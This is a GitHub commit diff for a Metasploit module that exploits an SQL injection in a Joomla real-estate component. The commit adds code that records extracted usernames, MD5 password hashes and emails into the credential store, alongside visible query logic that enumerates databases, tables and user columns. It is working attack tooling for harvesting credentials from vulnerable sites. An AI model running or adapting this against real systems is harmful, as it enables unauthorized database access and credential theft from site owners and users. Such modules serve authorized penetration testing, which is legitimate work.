Skip to content

Commit 09b7941

Browse files
committed
Report hash
1 parent 132cbf0 commit 09b7941

File tree

1 file changed

+57
-3
lines changed

1 file changed

+57
-3
lines changed

modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb

Lines changed: 57 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,46 @@ def initialize(info = {})
3737
], self.class)
3838
end
3939

40+
def print_good(message='')
41+
super("#{rhost}:#{rport} - #{message}")
42+
end
43+
44+
def print_status(message='')
45+
super("#{rhost}:#{rport} - #{message}")
46+
end
47+
48+
def report_cred(opts)
49+
service_data = {
50+
address: opts[:ip],
51+
port: opts[:port],
52+
service_name: ssl ? 'https' : 'http',
53+
protocol: 'tcp',
54+
workspace_id: myworkspace_id
55+
}
56+
57+
credential_data = {
58+
origin_type: :service,
59+
module_fullname: fullname,
60+
username: opts[:user]
61+
}.merge(service_data)
62+
63+
if opts[:password]
64+
credential_data.merge!(
65+
private_data: opts[:password],
66+
private_type: :nonreplayable_hash,
67+
jtr_format: 'md5'
68+
)
69+
end
70+
71+
login_data = {
72+
core: create_credential(credential_data),
73+
status: opts[:status],
74+
proof: opts[:proof]
75+
}.merge(service_data)
76+
77+
create_credential_login(login_data)
78+
end
79+
4080
def check
4181
flag = Rex::Text.rand_text_alpha(5)
4282
payload = "0x#{flag.unpack('H*')[0]}"
@@ -72,6 +112,7 @@ def sqli(query)
72112
'vars_get' => get,
73113
})
74114

115+
75116
if res && res.code == 200
76117
cookie = res.get_cookies
77118
post = {
@@ -107,7 +148,7 @@ def query_databases
107148
0.upto(dbc.to_i - 1) do |i|
108149
dbname = sqli(query_fmt % i)
109150
dbs << dbname
110-
vprint_good(dbname)
151+
vprint_good("Found database name: #{dbname}")
111152
end
112153

113154
%w(performance_schema information_schema mysql).each do |dbname|
@@ -133,7 +174,7 @@ def query_tables(database)
133174
vprint_status('tables in database: %s' % database)
134175
0.upto(tbc.to_i - 1) do |i|
135176
tbname = sqli(query_fmt % i)
136-
vprint_good(tbname)
177+
vprint_good("Found table #{database}.#{tbname}")
137178
tbs << tbname if tbname =~ /_users$/
138179
end
139180
tbs
@@ -144,7 +185,7 @@ def query_columns(database, table)
144185
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
145186

146187
colc = sqli(query)
147-
vprint_status(colc)
188+
vprint_status("Found Columns: #{colc} from #{database}.#{table}")
148189

149190
valid_cols = [ # joomla_users
150191
'activation',
@@ -181,6 +222,19 @@ def query_columns(database, table)
181222
end
182223
end
183224
cols << record
225+
226+
unless record['username'].blank?
227+
print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")
228+
report_cred(
229+
ip: rhost,
230+
port: datastore['RPORT'],
231+
user: record['username'].to_s,
232+
password: record['password'].to_s,
233+
status: Metasploit::Model::Login::Status::UNTRIED,
234+
proof: record.to_s
235+
)
236+
end
237+
184238
vprint_status(record.to_s)
185239
end
186240
cols

0 commit comments

Comments
 (0)